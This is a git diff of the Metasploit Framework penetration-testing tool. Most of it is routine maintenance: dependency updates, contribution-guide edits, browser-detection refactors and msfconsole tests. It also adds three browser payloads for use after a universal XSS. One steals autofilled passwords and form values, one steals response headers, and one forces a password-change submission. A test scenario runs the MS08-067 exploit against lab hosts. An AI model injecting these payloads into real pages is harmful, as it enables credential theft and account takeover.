diff --git a/.gitignore b/.gitignore index 3f25443520c6..47ace45b2ea3 100644 --- a/.gitignore +++ b/.gitignore @@ -13,6 +13,8 @@ Gemfile.local.lock .DS_Store # database config for testing config/database.yml +# target config file for testing +features/support/targets.yml # simplecov coverage data coverage doc/ @@ -50,6 +52,8 @@ tags # Rails log directory /log +# Rails tmp directory +/tmp # ignore release/debug folders for exploits external/source/exploits/**/Debug diff --git a/.simplecov b/.simplecov index e8c1b367cf0a..32c98d818b75 100644 --- a/.simplecov +++ b/.simplecov @@ -39,7 +39,6 @@ SimpleCov.configure do # Other library groups # - add_group 'Fastlib', 'lib/fastlib' add_group 'Metasm', 'lib/metasm' add_group 'PacketFu', 'lib/packetfu' add_group 'Rex', 'lib/rex' diff --git a/.travis.yml b/.travis.yml index 5775b5349c35..a808dbc12017 100644 --- a/.travis.yml +++ b/.travis.yml @@ -1,6 +1,8 @@ env: - RAKE_TASK=cucumber + - RAKE_TASK=cucumber:boot - RAKE_TASK=spec + language: ruby before_install: - rake --version diff --git a/CONTRIBUTING.md b/CONTRIBUTING.md index ec572a60b94e..33c658f505ae 100644 --- a/CONTRIBUTING.md +++ b/CONTRIBUTING.md @@ -3,13 +3,17 @@ Thanks for your interest in making Metasploit -- and therefore, the world -- a better place! -Are you about to report a bug? If so, please use our [Redmine Bug -Tracker](https://dev.metasploit.com/redmine/projects/framework). An -account is required but it only takes a minute or two. +Are you about to report a bug? Sorry to hear it. -Are you about to report a security vulnerability in Metasploit? -If so, please take a look at Rapid's [Vulnerability -Disclosure Policy](https://www.rapid7.com/disclosure.jsp) policy. +Here's our [Issue tracker](https://github.com/rapid7/metasploit-framework/issues). +Please try to be as specific as you can about your problem, include steps +to reproduce (cut and paste from your console output if it's helpful), and +what you were expecting to happen. + +Are you about to report a security vulnerability in Metasploit itself? +How ironic! Please take a look at Rapid7's [Vulnerability +Disclosure Policy](https://www.rapid7.com/disclosure.jsp), and send +your report to security@rapid7.com using [our PGP key](http://pgp.mit.edu:11371/pks/lookup?op=vindex&search=0x2380F85B8AD4DB8D). Are you about to contribute some new functionality, a bug fix, or a new Metasploit module? If so, read on... @@ -64,18 +68,14 @@ Pull requests [#2940](https://github.com/rapid7/metasploit-framework/pull/2940) #### Bug Fixes * **Do** include reproduction steps in the form of verification steps. -* **Do** include a link to the corresponding [Redmine](https://dev.metasploit.com/redmine/projects/framework) issue in the format of `SeeRM #1234` in your commit description. +* **Do** include a link to any corresponding [Issue](https://github.com/rapid7/metasploit-framework/issues) in the format of `See #1234` in your commit description. ## Bug Reports * **Do** report vulnerabilities in Rapid7 software directly to security@rapid7.com. -* **Do** create a Redmine account and report your non-vulnerability bugs there. * **Do** write a detailed description of your bug and use a descriptive title. * **Do** include reproduction steps, stack traces, and anything else that might help us verify and fix your bug. * **Don't** file duplicate reports - search for your bug before filing a new report. -* **Don't** report a bug on GitHub. Use [Redmine](https://dev.metasploit.com/redmine/projects/framework) instead. - -Redmine issues [#8762](https://dev.metasploit.com/redmine/issues/8762) and [#8764](https://dev.metasploit.com/redmine/issues/8764) are a couple good examples to follow. If you need some more guidance, talk to the main body of open source contributors over on the [Freenode IRC channel](http://webchat.freenode.net/?channels=%23metasploit&uio=d4) diff --git a/Gemfile b/Gemfile index 56f8a7a15048..1532861c4675 100755 --- a/Gemfile +++ b/Gemfile @@ -6,10 +6,11 @@ gemspec group :db do # Needed for Msf::DbManager gem 'activerecord', '>= 3.0.0', '< 4.0.0' + # Metasploit::Credential database models - gem 'metasploit-credential', '>= 0.9.0' + gem 'metasploit-credential', '~> 0.10.1' # Database models shared between framework and Pro. - gem 'metasploit_data_models', '~> 0.19' + gem 'metasploit_data_models', '~> 0.20.1' # Needed for module caching in Mdm::ModuleDetails gem 'pg', '>= 0.11' end @@ -38,7 +39,7 @@ group :development, :test do gem 'rspec', '>= 2.12', '< 3.0.0' # Define `rake spec`. Must be in development AND test so that its available by default as a rake test when the # environment is development - gem 'rspec-rails' , '>= 2.12', '< 3.0.0' + gem 'rspec-rails' , '>= 2.12', '< 3.0.0' end group :pcap do @@ -51,7 +52,7 @@ group :test do # cucumber extension for testing command line applications, like msfconsole gem 'aruba' # cucumber + automatic database cleaning with database_cleaner - gem 'cucumber-rails' + gem 'cucumber-rails', :require => false gem 'shoulda-matchers' # code coverage for tests # any version newer than 0.5.4 gives an Encoding error when trying to read the source files. diff --git a/Gemfile.lock b/Gemfile.lock index 8efa05d22c5d..ed2e935cf671 100644 --- a/Gemfile.lock +++ b/Gemfile.lock @@ -5,14 +5,15 @@ PATH actionpack (< 4.0.0) activesupport (>= 3.0.0, < 4.0.0) bcrypt + jsobfu (~> 0.1.7) json - metasploit-model (~> 0.26.1) + metasploit-concern (~> 0.2.1) + metasploit-model (~> 0.27.1) meterpreter_bins (= 0.0.7) msgpack nokogiri packetfu (= 1.1.9) railties - rkelly-remix (= 0.0.6) robots rubyzip (~> 1.1) sqlite3 @@ -21,6 +22,9 @@ PATH GEM remote: https://rubygems.org/ specs: + actionmailer (3.2.19) + actionpack (= 3.2.19) + mail (~> 2.5.4) actionpack (3.2.19) activemodel (= 3.2.19) activesupport (= 3.2.19) @@ -39,6 +43,9 @@ GEM activesupport (= 3.2.19) arel (~> 3.0.2) tzinfo (~> 0.3.29) + activeresource (3.2.19) + activemodel (= 3.2.19) + activesupport (= 3.2.19) activesupport (3.2.19) i18n (~> 0.6, >= 0.6.4) multi_json (~> 1.0) @@ -65,10 +72,11 @@ GEM diff-lcs (>= 1.1.3) gherkin (~> 2.11.0) json (>= 1.4.6) - cucumber-rails (1.3.0) + cucumber-rails (1.4.0) capybara (>= 1.1.2) - cucumber (>= 1.1.8) + cucumber (>= 1.2.0) nokogiri (>= 1.5.0) + rails (>= 3.0.0) diff-lcs (1.2.5) erubis (2.7.0) factory_girl (4.4.0) @@ -83,28 +91,37 @@ GEM hike (1.2.3) i18n (0.6.11) journey (1.0.4) + jsobfu (0.1.7) + rkelly-remix (= 0.0.6) json (1.8.1) - metasploit-concern (0.1.1) + mail (2.5.4) + mime-types (~> 1.16) + treetop (~> 1.4.8) + metasploit-concern (0.2.1) activesupport (~> 3.0, >= 3.0.0) - metasploit-credential (0.9.0) - metasploit-concern (~> 0.1.0) - metasploit-model (~> 0.26.1) - metasploit_data_models (~> 0.19.4) + railties (< 4.0.0) + metasploit-credential (0.10.1) + metasploit-concern (~> 0.2.1) + metasploit-model (~> 0.27.0) + metasploit_data_models (~> 0.20.0) pg + railties (< 4.0.0) rubyntlm rubyzip (~> 1.1) - metasploit-model (0.26.1) + metasploit-model (0.27.1) activesupport - metasploit_data_models (0.19.4) + railties (< 4.0.0) + metasploit_data_models (0.20.1) activerecord (>= 3.2.13, < 4.0.0) activesupport arel-helpers - metasploit-concern (~> 0.1.0) - metasploit-model (~> 0.26.1) + metasploit-concern (~> 0.2.1) + metasploit-model (~> 0.27.0) pg + railties (< 4.0.0) meterpreter_bins (0.0.7) method_source (0.8.2) - mime-types (2.3) + mime-types (1.25.1) mini_portile (0.6.0) msgpack (0.5.8) multi_json (1.0.4) @@ -114,6 +131,7 @@ GEM packetfu (1.1.9) pcaprub (0.11.3) pg (0.17.1) + polyglot (0.3.5) pry (0.10.0) coderay (~> 1.1.0) method_source (~> 0.8.1) @@ -125,6 +143,14 @@ GEM rack rack-test (0.6.2) rack (>= 1.0) + rails (3.2.19) + actionmailer (= 3.2.19) + actionpack (= 3.2.19) + activerecord (= 3.2.19) + activeresource (= 3.2.19) + activesupport (= 3.2.19) + bundler (~> 1.0) + railties (= 3.2.19) railties (3.2.19) actionpack (= 3.2.19) activesupport (= 3.2.19) @@ -174,7 +200,10 @@ GEM thor (0.19.1) tilt (1.4.1) timecop (0.7.1) - tzinfo (0.3.40) + treetop (1.4.15) + polyglot + polyglot (>= 0.3.1) + tzinfo (0.3.41) xpath (2.0.0) nokogiri (~> 1.3) yard (0.8.7.4) @@ -189,9 +218,9 @@ DEPENDENCIES factory_girl (>= 4.1.0) factory_girl_rails fivemat (= 1.2.1) - metasploit-credential (>= 0.9.0) + metasploit-credential (~> 0.10.1) metasploit-framework! - metasploit_data_models (~> 0.19) + metasploit_data_models (~> 0.20.1) network_interface (~> 0.0.1) pcaprub pg (>= 0.11) diff --git a/LICENSE b/LICENSE index e16ad8f0a241..90bb00251162 100644 --- a/LICENSE +++ b/LICENSE @@ -87,10 +87,6 @@ Files: lib/bit-struct.rb lib/bit-struct/* Copyright: 2005-2009, Joel VanderWerf License: Ruby -Files: lib/fastlib.rb -Copyright: 2011, Rapid7, Inc. -License: Ruby - Files: lib/metasm.rb lib/metasm/* data/cpuinfo/* Copyright: 2006-2010 Yoann GUILLOT License: LGPL-2.1 diff --git a/Rakefile b/Rakefile old mode 100644 new mode 100755 diff --git a/app/concerns/metasploit/credential/core/to_credential.rb b/app/concerns/metasploit/credential/core/to_credential.rb index bfa804f1cbf3..af91fc493878 100644 --- a/app/concerns/metasploit/credential/core/to_credential.rb +++ b/app/concerns/metasploit/credential/core/to_credential.rb @@ -9,8 +9,8 @@ module Metasploit::Credential::Core::ToCredential def to_credential Metasploit::Framework::Credential.new( - public: public.try(:username), - private: private.try(:data), + public: public.try(:username) || '', + private: private.try(:data) || '', private_type: private.try(:type).try(:demodulize).try(:underscore).try(:to_sym), realm: realm.try(:value), realm_key: realm.try(:key), diff --git a/config/cucumber.yml b/config/cucumber.yml index 19b288df9d5e..e3de1435139d 100644 --- a/config/cucumber.yml +++ b/config/cucumber.yml @@ -2,7 +2,9 @@ rerun = File.file?('rerun.txt') ? IO.read('rerun.txt') : "" rerun_opts = rerun.to_s.strip.empty? ? "--format #{ENV['CUCUMBER_FORMAT'] || 'progress'} features" : "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} #{rerun}" std_opts = "--format #{ENV['CUCUMBER_FORMAT'] || 'pretty'} --strict --tags ~@wip" +ignored_tags = "--tags ~@boot --tags ~@targets" %> -default: <%= std_opts %> features +default: <%= std_opts %> <%= ignored_tags %> features +boot: <%= std_opts %> --tags @boot features wip: --tags @wip:3 --wip features rerun: <%= rerun_opts %> --format rerun --out rerun.txt --strict --tags ~@wip diff --git a/data/exploits/uxss/steal_form.js b/data/exploits/uxss/steal_form.js new file mode 100644 index 000000000000..44f766ac4aed --- /dev/null +++ b/data/exploits/uxss/steal_form.js @@ -0,0 +1,33 @@ +/* steal_form.js: can be injected into a frame/window after a UXSS */ +/* exploit to steal any autofilled inputs, saved passwords, or any */ +/* data entered into a form. */ + +/* keep track of what input fields we have discovered */ +var found = {}; +setInterval(function(){ + /* poll the DOM to check for any new input fields */ + var inputs = document.querySelectorAll('input,textarea,select'); + Array.prototype.forEach.call(inputs, function(input) { + var val = input.value||''; + var name = input.getAttribute('name')||''; + var t = input.getAttribute('type')||''; + if (input.tagName == 'SELECT') { + try { val = input.querySelector('option:checked').value } + catch (e) {} + } + if (input.tagName == 'INPUT' && t.toLowerCase()=='hidden') return; + + /* check if this is a valid input/value pair */ + try { + if (val.length && name.length) { + if (found[name] != val) { + + /* new input/value discovered, remember it and send it up */ + found[name] = val; + var result = { name: name, value: val, url: window.location.href, send: true }; + (opener||top).postMessage(JSON.stringify(result), '*'); + } + } + } catch (e) {} + }); +}, 200); diff --git a/data/exploits/uxss/steal_headers.js b/data/exploits/uxss/steal_headers.js new file mode 100644 index 000000000000..a975e2e58bc4 --- /dev/null +++ b/data/exploits/uxss/steal_headers.js @@ -0,0 +1,17 @@ +/* steal_headers.js: can be injected into a frame/window after a UXSS */ +/* exploit to steal the response headers of the loaded URL. */ + +/* send an XHR request to our current page */ +var x = new XMLHttpRequest; +x.open('GET', window.location.href, true); +x.onreadystatechange = function() { + /* when the XHR request is complete, grab the headers and send them back */ + if (x.readyState == 2) { + (opener||top).postMessage(JSON.stringify({ + headers: x.getAllResponseHeaders(), + url: window.location.href, + send: true + }), '*'); + } +}; +x.send(); diff --git a/data/exploits/uxss/submit_form.js b/data/exploits/uxss/submit_form.js new file mode 100644 index 000000000000..6ffcc8409bf4 --- /dev/null +++ b/data/exploits/uxss/submit_form.js @@ -0,0 +1,36 @@ +/* submit_form.js: can be injected into a frame/window after a UXSS */ +/* exploit to modify and submit a form in the target page. */ + +/* modify this hash to your liking */ +var formInfo = { + + /* CSS selector for the form you want to submit */ + selector: 'form[action="/update_password"]', + + /* inject values into some input fields */ + inputs: { + 'user[new_password]': 'pass1234', + 'user[new_password_confirm]': 'pass1234' + } +} + +var c = setInterval(function(){ + /* find the form... */ + var form = document.querySelector(formInfo.selector); + if (!form) return; + + /* loop over every input field, set the value as specified. */ + Array.prototype.forEach.call(form.elements, function(input) { + var inject = formInfo.inputs[input.name]; + if (inject) input.setAttribute('value', inject); + }); + + /* submit the form and clean up */ + form.submit(); + clearInterval(c); + + /* report back */ + var message = "Form submitted to "+form.getAttribute('action'); + var url = window.location.href; + (opener||top).postMessage(JSON.stringify({message: message, url: url}), '*'); +}, 100); diff --git a/data/js/detect/ie_addons.js b/data/js/detect/ie_addons.js index d612bd7c783e..380da28d1220 100644 --- a/data/js/detect/ie_addons.js +++ b/data/js/detect/ie_addons.js @@ -1,10 +1,10 @@ -window.ie_addons_detect = { }; +var ie_addons_detect = { }; /** * Returns true if this ActiveX is available, otherwise false. * Grabbed this directly from browser_autopwn.rb **/ -window.ie_addons_detect.hasActiveX = function (axo_name, method) { +ie_addons_detect.hasActiveX = function (axo_name, method) { var axobj = null; if (axo_name.substring(0,1) == String.fromCharCode(123)) { axobj = document.createElement("object"); @@ -41,7 +41,7 @@ window.ie_addons_detect.hasActiveX = function (axo_name, method) { /** * Returns the version of Microsoft Office. If not found, returns null. **/ -window.ie_addons_detect.getMsOfficeVersion = function () { +ie_addons_detect.getMsOfficeVersion = function () { var version; var types = new Array(); for (var i=1; i <= 5; i++) { diff --git a/data/js/detect/misc_addons.js b/data/js/detect/misc_addons.js index fe0ba675cca4..4246d752a7af 100644 --- a/data/js/detect/misc_addons.js +++ b/data/js/detect/misc_addons.js @@ -1,10 +1,10 @@ -window.misc_addons_detect = { }; +var misc_addons_detect = { }; /** * Detects whether the browser supports Silverlight or not **/ -window.misc_addons_detect.hasSilverlight = function () { +misc_addons_detect.hasSilverlight = function () { var found = false; // @@ -49,7 +49,7 @@ window.misc_addons_detect.hasSilverlight = function () { /** * Returns the Adobe Flash version **/ -window.misc_addons_detect.getFlashVersion = function () { +misc_addons_detect.getFlashVersion = function () { var foundVersion = null; // @@ -96,7 +96,7 @@ window.misc_addons_detect.getFlashVersion = function () { /** * Returns the Java version **/ -window.misc_addons_detect.getJavaVersion = function () { +misc_addons_detect.getJavaVersion = function () { var foundVersion = null; // diff --git a/data/js/detect/os.js b/data/js/detect/os.js index 408b3f92c8d7..d64c5226f93b 100644 --- a/data/js/detect/os.js +++ b/data/js/detect/os.js @@ -1,28 +1,28 @@ // Case matters, see lib/msf/core/constants.rb // All of these should match up with constants in ::Msf::HttpClients -clients_opera = "Opera"; -clients_ie = "MSIE"; -clients_ff = "Firefox"; -clients_chrome= "Chrome"; -clients_safari= "Safari"; +var clients_opera = "Opera"; +var clients_ie = "MSIE"; +var clients_ff = "Firefox"; +var clients_chrome= "Chrome"; +var clients_safari= "Safari"; // All of these should match up with constants in ::Msf::OperatingSystems -oses_linux = "Linux"; -oses_windows = "Microsoft Windows"; -oses_mac_osx = "Mac OS X"; -oses_freebsd = "FreeBSD"; -oses_netbsd = "NetBSD"; -oses_openbsd = "OpenBSD"; +var oses_linux = "Linux"; +var oses_windows = "Microsoft Windows"; +var oses_mac_osx = "Mac OS X"; +var oses_freebsd = "FreeBSD"; +var oses_netbsd = "NetBSD"; +var oses_openbsd = "OpenBSD"; // All of these should match up with the ARCH_* constants -arch_armle = "armle"; -arch_x86 = "x86"; -arch_x86_64 = "x86_64"; -arch_ppc = "ppc"; -arch_mipsle = "mipsle"; +var arch_armle = "armle"; +var arch_x86 = "x86"; +var arch_x86_64 = "x86_64"; +var arch_ppc = "ppc"; +var arch_mipsle = "mipsle"; -window.os_detect = {}; +var os_detect = {}; /** * This can reliably detect browser versions for IE and Firefox even in the @@ -30,7 +30,7 @@ window.os_detect = {}; * requires truthful navigator.appVersion and navigator.userAgent strings in * order to be accurate for more than just IE on Windows. **/ -window.os_detect.getVersion = function(){ +os_detect.getVersion = function(){ //Default values: var os_name; var os_flavor; @@ -219,7 +219,15 @@ window.os_detect.getVersion = function(){ // Thanks to developer.mozilla.org "Firefox for developers" series for most // of these. // Release changelogs: http://www.mozilla.org/en-US/firefox/releases/ - if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) { + if ('copyWithin' in Array.prototype) { + ua_version = '32.0'; + } else if ('fill' in Array.prototype) { + ua_version = '31.0'; + } else if (css_is_valid('background-blend-mode', 'backgroundBlendMode', 'multiply')) { + ua_version = '30.0'; + } else if (css_is_valid('box-sizing', 'boxSizing', 'border-box')) { + ua_version = '29.0'; + } else if (css_is_valid('flex-wrap', 'flexWrap', 'nowrap')) { ua_version = '28.0'; } else if (css_is_valid('cursor', 'cursor', 'grab')) { ua_version = '27.0'; @@ -699,7 +707,7 @@ window.os_detect.getVersion = function(){ // Verify whether the ua string is lying by checking if it contains // the major version we detected using known objects above. If it // appears to be truthful, then use its more precise version number. - if (version && version.split(".")[0] == ua_version.split(".")[0]) { + if (version && ua_version && version.split(".")[0] == ua_version.split(".")[0]) { // The version number will sometimes end with a space or end of // line, so strip off anything after a space if one exists if (-1 != version.indexOf(" ")) { @@ -1113,7 +1121,7 @@ window.os_detect.getVersion = function(){ return { os_name:os_name, os_flavor:os_flavor, os_sp:os_sp, os_lang:os_lang, arch:arch, ua_name:ua_name, ua_version:ua_version }; }; // function getVersion -window.os_detect.searchVersion = function(needle, haystack) { +os_detect.searchVersion = function(needle, haystack) { var index = haystack.indexOf(needle); var found_version; if (index == -1) { return; } @@ -1129,7 +1137,7 @@ window.os_detect.searchVersion = function(needle, haystack) { /* * Return -1 if a < b, 0 if a == b, 1 if a > b */ -window.ua_ver_cmp = function(ver_a, ver_b) { +ua_ver_cmp = function(ver_a, ver_b) { // shortcut the easy case if (ver_a == ver_b) { return 0; @@ -1173,15 +1181,15 @@ window.ua_ver_cmp = function(ver_a, ver_b) { return 0; }; -window.ua_ver_lt = function(a, b) { +ua_ver_lt = function(a, b) { if (-1 == this.ua_ver_cmp(a,b)) { return true; } return false; }; -window.ua_ver_gt = function(a, b) { +ua_ver_gt = function(a, b) { if (1 == this.ua_ver_cmp(a,b)) { return true; } return false; }; -window.ua_ver_eq = function(a, b) { +ua_ver_eq = function(a, b) { if (0 == this.ua_ver_cmp(a,b)) { return true; } return false; }; diff --git a/data/wordlists/ipmi_users.txt b/data/wordlists/ipmi_users.txt index 38b596483565..1f4036018c30 100644 --- a/data/wordlists/ipmi_users.txt +++ b/data/wordlists/ipmi_users.txt @@ -3,3 +3,4 @@ admin root Administrator USERID +guest diff --git a/db/schema.rb b/db/schema.rb index ba0fad081a96..d2e680520705 100644 --- a/db/schema.rb +++ b/db/schema.rb @@ -11,7 +11,7 @@ # # It's strongly recommended to check this file into your version control system. -ActiveRecord::Schema.define(:version => 20140801150537) do +ActiveRecord::Schema.define(:version => 20140905031549) do create_table "api_keys", :force => true do |t| t.text "token" @@ -125,6 +125,7 @@ t.integer "host_detail_count", :default => 0 t.integer "exploit_attempt_count", :default => 0 t.integer "cred_count", :default => 0 + t.string "detected_arch" end add_index "hosts", ["name"], :name => "index_hosts_on_name" diff --git a/features/commands/help.feature b/features/commands/help.feature new file mode 100644 index 000000000000..545ad3ea08d4 --- /dev/null +++ b/features/commands/help.feature @@ -0,0 +1,78 @@ +Feature: Help command + + Background: + Given I run `msfconsole` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + + Scenario: The 'help' command's output + When I type "help" + And I type "exit" + Then the output should contain: + """ + Core Commands + ============= + + Command Description + ------- ----------- + ? Help menu + back Move back from the current context + banner Display an awesome metasploit banner + cd Change the current working directory + color Toggle color + connect Communicate with a host + edit Edit the current module with $VISUAL or $EDITOR + exit Exit the console + go_pro Launch Metasploit web GUI + grep Grep the output of another command + help Help menu + info Displays information about one or more module + irb Drop into irb scripting mode + jobs Displays and manages jobs + kill Kill a job + load Load a framework plugin + loadpath Searches for and loads modules from a path + makerc Save commands entered since start to a file + popm Pops the latest module off the stack and makes it active + previous Sets the previously loaded module as the current module + pushm Pushes the active or list of modules onto the module stack + quit Exit the console + reload_all Reloads all modules from all defined module paths + resource Run the commands stored in a file + route Route traffic through a session + save Saves the active datastores + search Searches module names and descriptions + sessions Dump session listings and display information about sessions + set Sets a variable to a value + setg Sets a global variable to a value + show Displays modules of a given type, or all modules + sleep Do nothing for the specified number of seconds + spool Write console output into a file as well the screen + threads View and manipulate background threads + unload Unload a framework plugin + unset Unsets one or more variables + unsetg Unsets one or more global variables + use Selects a module by name + version Show the framework and console library version numbers + + + Database Backend Commands + ========================= + + Command Description + ------- ----------- + creds List all credentials in the database + db_connect Connect to an existing database + db_disconnect Disconnect from the current database instance + db_export Export a file containing the contents of the database + db_import Import a scan result file (filetype will be auto-detected) + db_nmap Executes nmap and records the output automatically + db_rebuild_cache Rebuilds the database-stored module cache + db_status Show the current database status + hosts List all hosts in the database + loot List all loot in the database + notes List all notes in the database + services List all services in the database + vulns List all vulnerabilities in the database + workspace Switch between database workspaces + """ + \ No newline at end of file diff --git a/features/modules/exploit/smb/ms08_067_netapi.feature b/features/modules/exploit/smb/ms08_067_netapi.feature new file mode 100644 index 000000000000..90eb10124c53 --- /dev/null +++ b/features/modules/exploit/smb/ms08_067_netapi.feature @@ -0,0 +1,181 @@ +@wip +Feature: MS08-067 netapi + + Background: + Given a directory named "home" + And I cd to "home" + And a mocked home directory + Given I run `msfconsole` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + + Scenario: The MS08-067 Module should have the following options + When I type "use exploit/windows/smb/ms08_067_netapi" + And I type "show options" + And I type "exit" + Then the output should contain: + """ + Module options (exploit/windows/smb/ms08_067_netapi): + + Name Current Setting Required Description + ---- --------------- -------- ----------- + RHOST yes The target address + RPORT 445 yes Set the SMB service port + SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) + + + Exploit target: + + Id Name + -- ---- + 0 Automatic Targeting + + """ + + Scenario: The MS08-067 Module should have the following advanced options + When I type "use exploit/windows/smb/ms08_067_netapi" + And I type "show advanced" + And I type "exit" + Then the output should contain: + """ + Module advanced options: + + Name : CHOST + Current Setting: + Description : The local client address + + Name : CPORT + Current Setting: + Description : The local client port + + Name : ConnectTimeout + Current Setting: 10 + Description : Maximum number of seconds to establish a TCP connection + + Name : ContextInformationFile + Current Setting: + Description : The information file that contains context information + + Name : DCERPC::ReadTimeout + Current Setting: 10 + Description : The number of seconds to wait for DCERPC responses + + Name : DisablePayloadHandler + Current Setting: false + Description : Disable the handler code for the selected payload + + Name : EnableContextEncoding + Current Setting: false + Description : Use transient context when encoding payloads + + Name : NTLM::SendLM + Current Setting: true + Description : Always send the LANMAN response (except when NTLMv2_session is + specified) + + Name : NTLM::SendNTLM + Current Setting: true + Description : Activate the 'Negotiate NTLM key' flag, indicating the use of + NTLM responses + + Name : NTLM::SendSPN + Current Setting: true + Description : Send an avp of type SPN in the ntlmv2 client Blob, this allow + authentification on windows Seven/2008r2 when SPN is required + + Name : NTLM::UseLMKey + Current Setting: false + Description : Activate the 'Negotiate Lan Manager Key' flag, using the LM key + when the LM response is sent + + Name : NTLM::UseNTLM2_session + Current Setting: true + Description : Activate the 'Negotiate NTLM2 key' flag, forcing the use of a + NTLMv2_session + + Name : NTLM::UseNTLMv2 + Current Setting: true + Description : Use NTLMv2 instead of NTLM2_session when 'Negotiate NTLM2' key + is true + + Name : Proxies + Current Setting: + Description : Use a proxy chain + + Name : SMB::ChunkSize + Current Setting: 500 + Description : The chunk size for SMB segments, bigger values will increase + speed but break NT 4.0 and SMB signing + + Name : SMB::Native_LM + Current Setting: Windows 2000 5.0 + Description : The Native LM to send during authentication + + Name : SMB::Native_OS + Current Setting: Windows 2000 2195 + Description : The Native OS to send during authentication + + Name : SMB::VerifySignature + Current Setting: false + Description : Enforces client-side verification of server response signatures + + Name : SMBDirect + Current Setting: true + Description : The target port is a raw SMB service (not NetBIOS) + + Name : SMBDomain + Current Setting: . + Description : The Windows domain to use for authentication + + Name : SMBName + Current Setting: *SMBSERVER + Description : The NetBIOS hostname (required for port 139 connections) + + Name : SMBPass + Current Setting: + Description : The password for the specified username + + Name : SMBUser + Current Setting: + Description : The username to authenticate as + + Name : SSL + Current Setting: false + Description : Negotiate SSL for outgoing connections + + Name : SSLCipher + Current Setting: + Description : String for SSL cipher - "DHE-RSA-AES256-SHA" or "ADH" + + Name : SSLVerifyMode + Current Setting: PEER + Description : SSL verification method (accepted: CLIENT_ONCE, + FAIL_IF_NO_PEER_CERT, NONE, PEER) + + Name : SSLVersion + Current Setting: SSL3 + Description : Specify the version of SSL that should be used (accepted: SSL2, + SSL3, TLS1) + + Name : VERBOSE + Current Setting: false + Description : Enable detailed status messages + + Name : WORKSPACE + Current Setting: + Description : Specify the workspace for this module + + Name : WfsDelay + Current Setting: 0 + Description : Additional delay when waiting for a session + """ + + @targets + Scenario: Show RHOST/etc variable expansion from a config file + When I type "use exploit/windows/smb/ms08_067_netapi" + When RHOST is WINDOWS + And I type "set PAYLOAD windows/meterpreter/bind_tcp" + And I type "show options" + And I type "run" + And I type "exit" + And I type "exit" + Then the output should match /spider-wxp/ diff --git a/features/msfconsole/database_yml.feature b/features/msfconsole/database_yml.feature index 1d163cd86043..cc7d7224ffa5 100644 --- a/features/msfconsole/database_yml.feature +++ b/features/msfconsole/database_yml.feature @@ -1,3 +1,4 @@ +@boot Feature: `msfconsole` `database.yml` In order to connect to the database in `msfconsole` @@ -156,3 +157,11 @@ Feature: `msfconsole` `database.yml` And the output should not contain "user_metasploit_framework_test" And the output should not contain "project_metasploit_framework_test" And the output should contain "[*] postgresql selected, no connection" + + Scenario: Starting `msfconsole` with a valid database.yml + Given I run `msfconsole` interactively + And I wait for stdout to contain "Free Metasploit Pro trial: http://r-7.co/trymsp" + When I type "db_status" + And I type "exit" + Then the output should contain "[*] postgresql connected to metasploit_framework_test" + diff --git a/features/step_definitions/env.rb b/features/step_definitions/environment_variables.rb similarity index 100% rename from features/step_definitions/env.rb rename to features/step_definitions/environment_variables.rb diff --git a/features/step_definitions/targets.rb b/features/step_definitions/targets.rb new file mode 100644 index 000000000000..7c14393d0e46 --- /dev/null +++ b/features/step_definitions/targets.rb @@ -0,0 +1,10 @@ +When /^targets are loaded$/ do + config_file = File.expand_path('features/support/targets.yml') + fail "Target config file #{config_file} does not exist" unless File.exists?(config_file) + @target_config = YAML.load_file(config_file) +end + +When /^(RHOSTS?) (?:are|is) (\S+)$/ do |type, target_type| + fail "No target type #{target_type}" unless @target_config.key?(target_type) + step "I type \"set #{type} #{@target_config[target_type]}\"" +end diff --git a/features/support/hooks.rb b/features/support/hooks.rb index e97d8976a476..26a39c8792db 100644 --- a/features/support/hooks.rb +++ b/features/support/hooks.rb @@ -1,4 +1,5 @@ Before do + set_env('MSF_DATBASE_CONFIG', Rails.configuration.paths['config/database'].existent.first) set_env('RAILS_ENV', 'test') - @aruba_timeout_seconds = 3.minutes + @aruba_timeout_seconds = 4.minutes end \ No newline at end of file diff --git a/features/support/targets.yml.example b/features/support/targets.yml.example new file mode 100644 index 000000000000..75f4b9915de9 --- /dev/null +++ b/features/support/targets.yml.example @@ -0,0 +1,2 @@ +WINDOWS: spider-wxp.vuln.lax.rapid7.com +LINUX: spider-ubuntu.vuln.lax.rapid7.com diff --git a/lib/fastlib.rb b/lib/fastlib.rb deleted file mode 100755 index 7af9bafa2093..000000000000 --- a/lib/fastlib.rb +++ /dev/null @@ -1,433 +0,0 @@ -#!/usr/bin/env ruby -# -*- coding: binary -*- - -# -# FASTLIB is a mechanism for loading large sets of libraries in a way that is -# faster and much more flexible than typical disk structures. FASTLIB includes -# hooks that can be used for both compression and encoding of Ruby libraries. -# - -# -# This format was specifically created to improve the performance and -# AV-resistance of the Metasploit Framework and Rex libraries. -# - - -# -# This library is still in its early form; a large number of performance and -# compatiblity improvements are not yet included. Do not depend on the FASTLIB -# file format at this time. -# - -require "find" - - -# -# Copyright (C) 2011 Rapid7. You can redistribute it and/or -# modify it under the terms of the ruby license. -# -# -# Roughly based on the rubyzip zip/ziprequire library: -# >> Copyright (C) 2002 Thomas Sondergaard -# >> rubyzip is free software; you can redistribute it and/or -# >> modify it under the terms of the ruby license. - - -# -# The FastLib class implements the meat of the FASTLIB archive format -# -class FastLib - - VERSION = "0.0.8" - - FLAG_COMPRESS = 0x01 - FLAG_ENCRYPT = 0x02 - - @@cache = {} - @@has_zlib = false - - # - # Load zlib support if possible - # - begin - require 'zlib' - @@has_zlib = true - rescue ::LoadError - end - - # - # This method returns the version of the fastlib library - # - def self.version - VERSION - end - - # - # This method loads content from a specific archive file by name. If the - # noprocess argument is set to true, the contents will not be expanded to - # include workarounds for things such as __FILE__. This is useful when - # loading raw binary data where these strings may occur - # - def self.load(lib, name, noprocess=false) - data = "" - load_cache(lib) - - return unless ( @@cache[lib] and @@cache[lib][name] ) - - - ::File.open(lib, "rb") do |fd| - fd.seek( - @@cache[lib][:fastlib_header][0] + - @@cache[lib][:fastlib_header][1] + - @@cache[lib][name][0] - ) - data = fastlib_filter_decode( lib, fd.read(@@cache[lib][name][1] )) - end - - # Return the contents in raw or processed form - noprocess ? data : post_process(lib, name, data) - end - - # - # This method caches the file list and offsets within the archive - # - def self.load_cache(lib) - return if @@cache[lib] - @@cache[lib] = {} - - return if not ::File.exists?(lib) - - 